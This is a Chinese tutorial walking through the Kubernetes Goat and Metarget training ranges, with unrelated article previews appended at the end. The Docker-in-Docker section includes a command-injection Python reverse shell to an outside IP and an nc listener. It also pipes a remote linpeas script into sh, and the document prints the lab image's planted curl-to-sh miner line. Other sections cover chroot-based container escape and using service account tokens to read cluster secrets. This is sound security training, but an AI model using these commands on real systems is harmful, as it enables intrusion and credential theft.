云原生靶场kebernetesGoat、Metarget
靶场
文章目录
- 靶场
- kebernetesGoat
- 靶场安装
- Docker in Docker
- SSRF漏洞
- 容器逃逸到主系统
- Docker CIS 基线分析
- Kubernetes CIS 安全基线分析
- 分析被部署挖矿软件的容器镜像
- 获取环境信息
- Hidden in layers
- RBAC最低权限配置错误
- 使用 Sysdig Falco 进行运行时安全监控和检测
- Metarget
kebernetesGoat
Kubernetes Goat 是一款针对 Kubernetes 安全的学习、测试和练习工具,该工具可以给广大研究人员提供一个存在安全缺陷(故意留下漏洞)的集群环境,来帮助广大安全爱好者学习和实践 Kubernetes 安全
项目地址
- kubernetes-goat
- K8s集群安全攻防(上)
- K8s集群安全攻防(下)
靶场安装
- K8S靶场KubeGoat部署
安装过程中要注意:1.网络要通畅 2.确保磁盘空间充足
-
安装 Docker
1.卸载旧版本Docker sudo apt-get remove docker docker-engine docker-ce docker.io 2.添加阿里云GPG秘钥 curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - 3.设置存储库 sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" 4.安装docker sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin 5.启动docker sudo systemctl start docker sudo systemctl enable docker
-
安装 minikube
1.安装依赖sudo apt-get install -y apt-transport-https 2.添加阿里GPG sudo curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add - 3.添加阿里apt源 sudo tee /etc/apt/sources.list.d/kubernetes.list <<-'EOF' deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main EOF sudo apt-get update 4.安装kubelet sudo apt-get install -y kubectl 5.添加用户到docker组 sudo usermod -aG docker $USER && newgrp docker 6.安装mibikube curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube # 其他系统版本的 https://minikube.sigs.k8s.io/docs/start/ 7.启动mibikube minikube start --image-mirror-country=cn --image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version=1.23.8 --force 注:结合docker使用时,k8s版本最好不要用1.24及以上版本,k8s从1.24版本开始不在直接兼容docker,需要安装cri-docker。8.配置alias sudo vim .bashrcalias minikube.cn="minikube start --image-mirror-country=cn --image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version=1.23.8" 启动生效 source .bashrc
验证查看 pod
kubectl get pods -A
-
安装 kubegoat
1.安装helm 通过官方apt方式进行安装 curl https://baltocdn.com/helm/signing.asc | gpg --dearmor | sudo tee /usr/share/keyrings/helm.gpg > /dev/null sudo apt-get install apt-transport-https --yes echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/helm.gpg] https://baltocdn.com/helm/stable/debian/ all main" | sudo tee /etc/apt/sources.list.d/helm-stable-debian.list sudo apt-get update sudo apt-get install helm查看helm版本 helm version2.拉取kubegoat仓库 git clone https://github.com/madhuakula/kubernetes-goat.git cd kubernetes-goat bash setup-kubernetes-goat.sh 3.查看容器运行状况 查看容器是否均运行成功 kubectl get pod
-
将资源公开
bash access-kubernetes-goat.sh
访问 1234 端口就可以
Docker in Docker
描述:大多数使用Docker
并在管道构建容器的CI/CD
和管道系统都使用称为DIND(docker-in-docker)
的东西。简单来说就是在Docker
容器中调用和执行宿主机的Docker
。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。
存在一个命令执行的页面,可以拼接执行任意命令
如果要利用docker in docker
进行逃逸,前提是在docker
容器运行的时候把docker.sock
套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock
套接字文件,我们就可以通过 Docker Socket与宿主机的Docker
服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了
使用mount
命令查看是否挂载了docker.sock
套接字文件
发现确实存在挂载行为,接下来如果这台主机可以访问互联网,可以直接下载docker
可执行程序,去执行命令
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
下载文件路径可以替换成我们的vps
解压下载的文件,执行命令
然后就可以利用docker.sock
来访问宿主机系统并在宿主机上执行docker
命令
或者可以直接使用 python 反弹 shell
127.0.0.1;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另一端使用 nc 监听
ncat -lvvp 4444
切换交互式终端
python -c "import pty;pty.spawn('/bin/bash')"
运行linepeas枚举系统
curl -L http://192.168.8.128:8000/linpeas.sh | sh
找到 docker.sock 文件
同样使用上传文件的方法可以实现 docker 逃逸
SSRF漏洞
场景描述:SSRF
(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF
漏洞的来访问云实例元数据以及内部服务元数据信息
可以看到内部有一个http://metadata-db
服务,访问后看到有一个latest
的路径,我们继续访问http://metadata-db/latest/
可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat
中发现了关键信息:
base64 解密
通过使用 ssrf 绕过 api 接口访问限制,访问敏感接口如:etcd、apiserver
容器逃逸到主系统
场景描述:大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。
访问 1233 端口,是一个 web ssh
危险挂载提权
由于用户使用较为危险的挂载将物理机的路径挂载到了容器内,从而导致逃逸
-
查看当前权限确定该容器具有主机系统的完整权限
发现当前用户为 root ,运行在 docker 容器中
-
df -Th 查看挂载信息
mount 查看挂载,发现
host-system
目录是挂载了宿主机的根目录mount | grep host
-
发现 /host-system 从主机系统安装
ls -al ls /host-system/
-
可以用
chroot
切换到宿主机的目录,获取对宿主机系统的权限访问chroot /host-system bash docker ps
-
目的是控制整个
Kubernetes
集群,查看Kubernets
节点级配置文件 -
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
如果没有 kubectl 需要下载并给执行权限
Docker CIS 基线分析
场景描述:该场景主要是在 Kubernetes
节点之上进行 Docker CIS
基准分析,以识别可能存在的安全漏洞。
首先需要部署docker bench security
将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod
并执行Docker CIS
基线测试脚本。
然后,可以根据 Docker CIS
安全基线测试中看到的漏洞进行进一步的利用或修复
Kubernetes CIS 安全基线分析
场景描述:本场景主要是在Kubernetes
节点之上进行Kubernetes CIS
基线分析,识别可能存在的安全漏洞。
首先,我们在节点上部署kube-bench security
为Kubernetes job
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml
查看kube-bench-node-xxxxx
pod 的日志
然后,可以根据 Kubernetes CIS
安全基线测试中看到的漏洞进行进一步的利用
分析被部署挖矿软件的容器镜像
针对基础设施的挖矿攻击越来越流行。尤其是像 Kubernetes
这样的环境很容易成为目标,因为你甚至看不到容器镜像到底是基于什么构建的,以及它在主动监控方面做了什么。在此场景中,我们将分析和识别被植入挖矿软件的容器镜像。
首先,确定 Kubernetes
集群中的所有资源/镜像和包括作业。
kubectl get pods
标识Kubernetes
群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息
一旦我们确定了在Kubernetes
集群中运行的作业,就可以通过运行以下命令来获取Pod
信息
kubectl describe job batch-check-job
获取pods
信息:
kubectl get pods --namespace default -l "job-name=batch-check-job"
获取pod
信息manifest
(在Kubernetes中对象使用ManiFest YAML或JSON 来定义,就像 docker-compose.yaml 文档)并分析:
kubectl get pod batch-check-job-xxxx -o yaml
可以看到Docker
镜像名称是madhuakula/k8s-goat-batch-check
然后通过docker history
查看镜像的构建历史记录:
docker history --no-trunc madhuakula/k8s-goat-batch-check
发现它在其中一层的构建中植入了恶意挖矿脚本
curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup
如果发现使用 docker 命令看不到 k8s 的容器及镜像,如需要minikube link 到现有的docker 配置,需要执行最后一条 eval 命令
[root@localhost docker]# minikube docker-env
export DOCKER_TLS_VERIFY="1"
export DOCKER_HOST="tcp://192.168.99.101:2376"
export DOCKER_CERT_PATH="/root/.minikube/certs"
# Run this command to configure your shell:
# eval $(minikube docker-env)
获取环境信息
场景描述:Kubernetes
中的每个环境都会有很多信息要共享。包括Secrets
、API Keys
、配置、服务等等关键内容。所以让我们继续收集关键信息!
收集系统关键信息
id
cat /proc/self/cgroup
cat /etc/hosts
mount
ls -la /home/
printenv # 获取环境变量,包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服务名称、端口等
Hidden in layers
场景描述:敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中,密码、私钥、令牌等很容易被错误处理。此场景下,我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一
执行以下命令,开始本次场景:
kubectl get jobs
尝试浏览运行容器中的所有文件、环境变量等。接下来,尝试用不同的工具分析上面使用的镜像,以找到暴露的敏感信息
kubectl get pods --all-namespaces -l "job-name=hidden-in-layers"
尝试浏览运行容器中的所有文件、环境变量等。接下来,尝试用不同的工具分析上面使用的镜像,以找到暴露的敏感信息
获取详细信息:
kubectl get pod hidden-in-layers-cts6h -o yaml
使用docker cli
分析镜像信息
docker inspect madhuakula/k8s-goat-hidden-in-layers
可以看到镜像设置了容器启动时要执行的一些命令。但获取的信息还太少,继续探索。
如果我们了解这个镜像是如何从头开始构建的,也许对我们会更有帮助。如果你有 dockerfile
,可以直接分析镜像的 dockerfile
。如果没有,可以通过其他几种方法分析
方法一:查看构建历史
docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers
可以看到一个 secret.txt 文件比较敏感
方法二,通过镜像反向生成dockerfile
可以通过alpine/dfimage
工具生成指定镜像的dockerfile
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers
方法三,使用Dive
工具
Dive
是一个非常棒的工具,可以帮助分析镜像的每一层。https://github.com/wagoodman/dive,dive:一款按层分析docker镜像的工具
Kali 安装
wget https://github.com/wagoodman/dive/releases/download/v0.4.1/dive_0.4.1_linux_amd64.deb
sudo apt install ./dive_0.4.1_linux_amd64.deb
使用方法如下
dive madhuakula/k8s-goat-hidden-in-layers
可以发现 secret.txt 和 contribution.txt 两个文件比较可疑,镜像启动时会删除 secret 文件,先运行容器查看 contribution.txt 文件
kubectl run hell --rm --restart=Never -it --image=madhuakula/k8s-goat-hidden-in-layers -- sh
没有什么东西,现在要去恢复 secret.txt 文件,首先使用docker save
把镜像导出为文件
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
解压出来:
tar -xvf hidden-in-layers.tar
可以看到每个层都被导出为一个单独的tar
文件。这个镜像有3层,所以有3个tar
文件。这里因为只有3层,所以很容易提取所有的层并检查内容,但如果镜像有上百层,这个方法就不太好用了
通过 dive 可以看到 secret 层 id 为 2a679 开头,添加了secret.txt
文件,所以我们解压这一层的tar
进行文件分析
RBAC最低权限配置错误
场景描述:在现实世界中,们经常看到开发人员和 devops
团队往往会提供超出需求的额外权限。这种情况发生时,攻击者获得了比他们预期的更多的控制权和特权。在此场景中,你可以利用绑定到 pod
的 serviceaccount
提供的 webhookapikey
访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对 vaultapikey
的访问权限
此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者,我们可以利用这一点来访问其他资源和服务
由于Kubernetes
默认情况下将所有secrets
、tokens
和service accounts
信息都存储在一个固定的目录包含访问集群资源的凭证,直接访问这个目录查找敏感信息
在Kubernetes中,Secrets、Tokens和Service Accounts是敏感信息,其权限需要根据实际使用场景进行细粒度的控制。以下是一些通用的最小权限原则:
- Secrets权限:
- kubectl权限: 通常,只有具有
kubectl
命令行工具权限的用户或服务账户才能访问Secrets。- Pod权限: 只有运行在同一Namespace中的Pod才能访问该Namespace下的Secrets。在Pod的spec中使用
serviceAccountName
字段指定使用的Service Account。- Service Accounts权限:
- Role-Based Access Control (RBAC): 使用RBAC规则授予Service Accounts最小必需的权限。为Service Account分配适当的ClusterRole或Role,确保其仅能够执行其任务所需的操作。
- Namespace限制: Service Account的权限通常是限定在特定Namespace内的。确保Service Account仅能够访问其所在Namespace的资源。
- Token权限:
- Bearer Token认证: Kubernetes API Server使用Bearer Token进行认证。确保Bearer Token只分发给具有最小权限的实体,以避免滥用。
- RBAC: Bearer Token的权限受到RBAC规则的限制,确保Token只能执行授予的操作。
- Pod权限:
- Service Account授权: Pod通过挂载Service Account Token的方式来使用Service Account的身份进行API访问。Pod的Service Account需要拥有足够的RBAC权限。
cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -la
现在可以使用这些信息与 Kubernetes API
服务进行交互,该服务具有对令牌的可用权限和特权
依次设置环境变量分别指向内部 API 服务器主机名:
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
设置 ServiceAccount
令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
读取 pods namespace
并将其设置为变量。namespace
应该是 big-monolith
,如果它是default
,你需要将 Kubernetes-goat
更新到最新版本(https://github.com/madhuakula/kubernetes-goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1)
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
指定读取ServiceAccount
持有者令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
指定在cURL
请求查询时要使用的证书路径
export CACERT=${SERVICEACCOUNT}/ca.crt
然后就可以使用令牌和构造的查询来访问 Kubernetes API
了
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
因为
Kubernetes
本身是利用API
服务来创建、删除pod
等操作的,所以你可以尝试并利用所有可能的Kubernetes
操作
查询default
命名空间中的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
查询特定命名空间中的pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
获取 k8svaultapikey
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
使用 Sysdig Falco 进行运行时安全监控和检测
场景描述:这个场景是为容器和Kubernetes
资源部署运行时安全监控和检测
要开始使用此方案,你需要使用helm v3
进行部署
https://falco.org/zh-cn/docs/
# helm3 install(可选项)
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update# 创建namespace
kubectl create ns falco# 下载好离线 helm chart包
wget https://github.com/falcosecurity/charts/releases/download/falco-3.8.7/falco-3.8.7.tgz# 一键式helm命令安装Falco
# 正式安装需要去掉 --dry-run --debug
helm -n falco install falco ./falco-3.8.7.tgz --set falco.jsonOutput=true --set falco.json_output=true --set falco.http_output.enabled=true --set falco.http_output.url=http://falco-falcosidekick:2801/ --set falcosidekick.enabled=true --set falcoctl.artifact.install.enabled=false --set falcoctl.artifact.follow.enabled=false --dry-run --debug# 卸载
helm -n falco uninstall falco
- kubernetes-goat(K8S靶场)
- 通过Kuberneters Goat学习K8S安全(上)
- 通过Kuberneters Goat学习K8S安全(下)
Metarget
项目文档:https://github.com/Metarget/metarget/blob/master/README-zh.md
Metarget 的初衷之一是方便安全研究人员在漏洞出现的第一时间快速搭建漏洞环境,实现“云原生组件”和“云原生应用”的脆弱场景
使用 Metarget 搭建 zabbix cve-2020-11800 漏洞环境
# 1.先安装 docker 或 k8s,domestic 使用国内镜像
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
# 2.安装漏洞环境,verbose 方便调试, --external 对外开放
./metarget appv install cve-2020-11800 --verbose --external
# 3.删除环境
./metarget appv remove cve-2020-11800
启动之后使用 kubectl 确定端口
kubectl get service --all-namespaces
查看服务运行状态
kubectl get pods --all-namespaces
有些环境可能会启动失败,失败删除也可能失败,使用 kubectl 命令删除 k8s 服务
# 1.如果无法删除,使用 kubect 命令删除 deployment 控制器
kubectl -n <namespace-name> delete deployments --all
如果您有一个 Deployment 控制器管理着一些 Pod,当您手动删除一个 Pod 时,Deployment 控制器会检测到 Pod 数量不匹配,并尝试重新创建一个新的 Pod 来替换被删除的 Pod,以此来维持期望的状态
# 2.删除命名空间中的所有 Pod:
kubectl -n <namespace-name> delete pods --all
# 3.删除命名空间中的所有 Service:
kubectl -n <namespace-name> delete services --all
相关文章:
云原生靶场kebernetesGoat、Metarget
靶场 文章目录 靶场kebernetesGoat靶场安装Docker in DockerSSRF漏洞容器逃逸到主系统Docker CIS 基线分析Kubernetes CIS 安全基线分析分析被部署挖矿软件的容器镜像获取环境信息Hidden in layersRBAC最低权限配置错误使用 Sysdig Falco 进行运行时安全监控和检测 Metarget ke…...
【3D目标检测】Det3d—SE-SSD模型训练(前篇):KITTI数据集训练
SE-SSD模型训练 1 基于Det3d搭建SE-SSD环境2 自定义数据准备2.1 自定义数据集标注2.2 训练数据生成2.3 数据集分割 3 训练KITTI数据集3.1 数据准备3.2 配置修改3.3 模型训练 1 基于Det3d搭建SE-SSD环境 Det3D环境搭建参考:【3D目标检测】环境搭建(OpenP…...
k8s1.28.8版本安装prometheus并持久化数据
本文参考 [k8s安装prometheus并持久化数据_/prometheus-config-reloader:-CSDN博客](https://blog.csdn.net/vic_qxz/article/details/119598466)前置要求: 已经部署了NFS或者其他存储的K8s集群. 这里注意networkpolicies网络策略问题,可以后面删除这个策略&#x…...
Mybatis-特殊SQL的执行
1. 模糊查询 在MyBatis中进行模糊查询时,有以下三种常见的实现方式: 1.1. 错误示范 先来个准备操作,并做一个错误示例 根据姓名,模糊查询用户,(x小x) 更新数据表 SQLMapper.java package com.sakurapaid.mybatis3…...
金融衍生品市场
金融衍生品市场 衍生金融品的作用衍生金融工具远期合约期货合约期权 衍生金融品的作用 套期保值(Hedging) 组合多头头寸(long position)与空头头寸(short position)例:股票与股指期货 投机 衍生金融工具 远期合约 定义:在将来…...
2、Cocos Creator 下载安装
Cocos Creator 从 v2.3.2 开始接入了全新的 Dashboard 系统,能够同时对多版本引擎和项目进行统一升级和管理!Cocos Dashboard 将做为 Creator 各引擎统一的下载器和启动入口,方便升级和管理多个版本的 Creator。还集成了统一的项目管理及创建…...
Docker版本:18.06.1安装
1、操作系统:CentOS 7.5以上 2、Docker版本:18.06.1 1、解压 tar -xvf docker-18.06.1-ce.tgz2、将解压出来的docker文件内容移动到 /usr/bin/ 目录下 cp docker/* /usr/bin/3、将docker注册为service vim /etc/systemd/system/docker.service将下列…...
记 SpringBoot 使用@RequestBody 接收不到参数
POST请求,前端传的参数名字跟后端规定的参数一样。但是通过RequestBody注解接收的参数始终为NULL! //实体类中属性没有用驼峰命名 private String SubscribeID; /*** 标题*/ private String Title;解决方案: 1、字段上使用JsonProperty(valu…...
unity 打包安卓错误汇集
Failed to find target with hash string "android-34’ in: D:Pr 他说找不到sdk34level的我用as打开后卸载又重装,最后解决了 我放到Plugins/Android/下面的Java代码没有被编译 这个不知道为什么。我故意把代码写的有问题,会报错那种ÿ…...
C语言-文件操作
🌈很高兴可以来阅读我的博客!🌟我热衷于分享🖊学习经验,🏫多彩生活,精彩足球赛事⚽🔗我的CSDN: Kevin ’ s blog📂专栏收录:C预言 1. 文件的作用 …...
ADB 操作命令详解及用法大全
ADB 简介 ADB,全称 Android Debug Bridge,是 Google 提供的一款用于 Android 平台设备(包括真机和模拟器)调试、交互和管理的命令行工具。通过 ADB,开发者可以在电脑上对连接的 Android 设备执行一系列高级操作&#…...
指针数组。
指针数组 int c[5]{1,2,3,4,5};int *pc;printf("p:%d",p);return 0;输出:p:-756683712 说明p是地址值,*p就是取这个地址上的元素的值。所以printf(“*p:%d”,*p); 打印出来的是 *p:1 *pc,c是c[5]数组的首地址元素。 #include <iostream>…...
GitHub开源项目权限管理-使用账号和个人令牌访问
1.打开后台账号设置 2.找到左下角的Developer settings 3.找到Personal access tokens 的 Tokens(classic) 4.选择创建新证书 5.填写证书信息 6.点击生成证书,复制证书并且保存起来(血泪教训,证书只会在创建时显示一次,以后就再也…...
DevSecOps平台架构系列-亚马逊云AWS DevSecOps平台架构
目录 一、概述 二、AWS DevSecOps实施原则 2.1 尽早采用安全测试,加速问题反馈 2.2 优先考虑预防性安全控制 2.3 部署检测性安全控制时,确保有与之互补的响应性安全控制 2.4 安全自动化 2.5 总结 三、AWS DevSecOps关键组件 3.1 关键组件 3.2 关…...
KaTex 常用公式编辑
原文:https://blog.iyatt.com/?p7854 注:语法上和 Latex 差不多一样,我是因为 WordPress 上使用 WP Githuber MD 插件,才用的 KaTex(插件里面的 LaTex 模块有 bug,无法渲染) 希腊字母 大写代…...
域攻防渗透之委派攻击
出身寒微,不是耻辱,能屈能伸,方为丈夫。 约束性委派的利用 原理 非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,因此微软推出了约束性委派,还扩充kerberos协议,添加…...
优雅的使用ChromeDriver
在网页自动化测试中,我们经常需要控制浏览器执行各种操作。对于Python开发者来说,可以使用 Selenium 库来实现这一目的。Selenium需要与浏览器的驱动程序(Driver)配合使用,本文将介绍如何在Windows 11系统下载ChromeDriver并正确保存。 第一步:确定Chrome浏览器版本号 打开Ch…...
react native hooks 页面出现重绘问题,如何解决
在React Native应用中,使用Hooks导致页面出现频繁重绘或性能问题时,可以尝试以下策略来优化和解决问题: 减少不必要的状态更新: 使用 React.memo 高阶组件包裹那些不需要每次父组件状态改变时都重新渲染的子组件。它通过浅比较pro…...
kafka安装并测试
一. Linux下ZooKeeper的安装及使用 1、创建工作目录,下载安装包 #创建安装目录 mkdir -p /opt/zookeeper #移动到目录 cd /opt/zookeepe #下载zookeeper安装包 wget https://mirrors.aliyun.com/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz #解…...
flutter路由跳转
Navigator.of(context).push(); //路由跳转(模块方式) Navigator.of(context).push(MaterialPageRoute(builder: (BuildContext context) {return const Page() ;//Page()指页面}, )) Navigator.pushNamed(context, "/") //路由跳转(路由方式) Navigator.pop(cont…...
微服务项目小结1
01.微服务的概念 单体、分布式、集群 (面试用到)微服务把之前的大的应用,按照业务功能拆分成若干个小的模块,每个模块都是独立的开发,测试,上线,维护缺点: 开发成本高,众多服务出错的处理(容错),分布式事务…...
【小熊猫 ide】更新支持mingw 支持c++20
没有format 头文件 GCC版本对C++的支持情况即使我使用11,也没有format 头文件小熊猫 ide https://wwe.lanzoui.com/b01os0mwd最新11可以自己更新https://royqh1979.gitee.io/redpandacpp/docsy/docs/gcc13 才支持format [7GCC 13 has added support for std::format.](https:/…...
ESD保护二极管ESD9B3.3ST5G 以更小的空间实现强大的保护 车规级TVS二极管更给力
什么是汽车级TVS二极管? TVS二极管是一种用于保护电子电路的电子元件。它主要用于电路中的过电压保护,防止电压过高而损坏其他部件。TVS二极管通常被称为“汽车级”是因为它们能够满足汽车电子系统的特殊要求。 在汽车电子系统中,由于车辆启…...
SAP BTP云上一个JVM与DB Connection纠缠的案例
前言 最近在CF (Cloud Foundry) 云平台上遇到一个比较经典的案例。因为牵扯到JVM (app进程)与数据库连接两大块,稍有不慎,很容易引起不快。 在云环境下,有时候相互扯皮的事蛮多。如果是DB的问题,就会找DB…...
Linux进程的基本概念
冯诺依曼体系结构 我们常见的计算机,如笔记本。我们不常见的计算机,如服务器,大部分都遵守冯诺依曼体系。 截至目前,我们所认识的计算机,都是有一个个的硬件组件组成 输入单元:包括键盘 , 鼠标…...
设计模式深度解析:AI如何影响装饰器模式与组合模式的选择与应用
🌈 个人主页:danci_ 🔥 系列专栏:《设计模式》《MYSQL应用》 💪🏻 制定明确可量化的目标,坚持默默的做事。 AI如何影响装饰器模式与组合模式的选择与应用 在今天这个快速发展的技术时代&#…...
JAVA面试大全之微服务篇
目录 1、Spring Cloud 1.1、什么是微服务?谈谈你对微服务的理解? 1.2、什么是Spring Cloud? 1.3、springcloud中的组件有那些? 1.4、具体说说SpringCloud主要项目...
WiFiSpoof for Mac wifi地址修改工具
WiFiSpoof for Mac,一款专为Mac用户打造的网络隐私守护神器,让您在畅游互联网的同时,轻松保护个人信息安全。 软件下载:WiFiSpoof for Mac下载 在这个信息爆炸的时代,网络安全问题日益凸显。WiFiSpoof通过伪装MAC地址&…...
14 - grace数据处理 - 泄露误差改正 - 空域滤波法(Mascon法)
@[TOC](grace数据处理 - 泄露误差改正 - 空域滤波法(Mascon法)) 空域法的基本思想是假设地面某区域的质量变化是由一系列位置已知、质量未知的质量块(小范围区域)引起的,那么将GRACE反演的结果归算到n个质量块上的过程就是泄露信号恢复的过程。个人理解是这样的:假定已知研…...
openGauss MySQL兼容性增强
MySQL兼容性增强 可获得性 本特性自openGauss 3.0.0版本开始引入。 特性简介 本特性主要从以下几方面增强openGauss与MySQL的兼容性(只列举部分典型语法,详情请参见《数据迁移指南》中“MySQL兼容性说明”章节):。 支持用户锁…...
计算机毕业论文8000字完整版/对seo的认识和理解
题目:原题链接(简单) 解法时间复杂度空间复杂度执行用时Ans 1 (Python)O(NlogN)O(NlogN)O(NlogN)O(1)O(1)O(1)36ms (90.49%)Ans 2 (Python)Ans 3 (Python)LeetCode的Python执行用时随缘,只要时间复杂度没有明显差异,执…...
做网站实例/百度指数数据分析平台
一、什么是Nginx? Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,其特点是占有内存少,并发能力强,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。…...
学院的网站建设的er图怎么画/百度网站
公众号关注 “GitHubDaily”设为 “星标”,每天带你逛 GitHub!转自机器之心LaTex 是很多人在写论文时使用的方便工具,但是如何将书本上的公式直接转换为 LaTex 格式呢?近日,一位中国开发者开源了这样一款工具。用户可以…...
网站开发平台/seo优化排名软件
用pycharm写python的时候,总会在def function()的那行出现如上问题。 “PEP 8: expected 2 blank lines, found 1” 具体原因就是呢,在声明函数的那一行的上方必须有两行的空行,否则便出现这个情况。 函数的注释可随函数为一体 # coding: u…...
长沙网站建设qq交流群/seo合作代理
Python中利用函数装饰器实现备忘功能 这篇文章主要介绍了Python中利用函数装饰器实现备忘功能,同时还降到了利用装饰器来检查函数的递归、确保参数传递的正确,需要的朋友可以参考下“备忘”的定义 “memoization”(备忘)这个词是由Donald Mic…...
大麦网的网站建设/互联网广告销售
我在mac下的vim打开文件经常报这样一个错误:Taglist: Failed to generate tags for /my/path/to/filectags: illegal option -- -^usage: ctags [-BFadtuwvx] [-f tagsfile] file ...之前一直没在意,仔细一看是报ctags的错误,只有taglist用到了ctags,所以肯定是taglist的问题了…...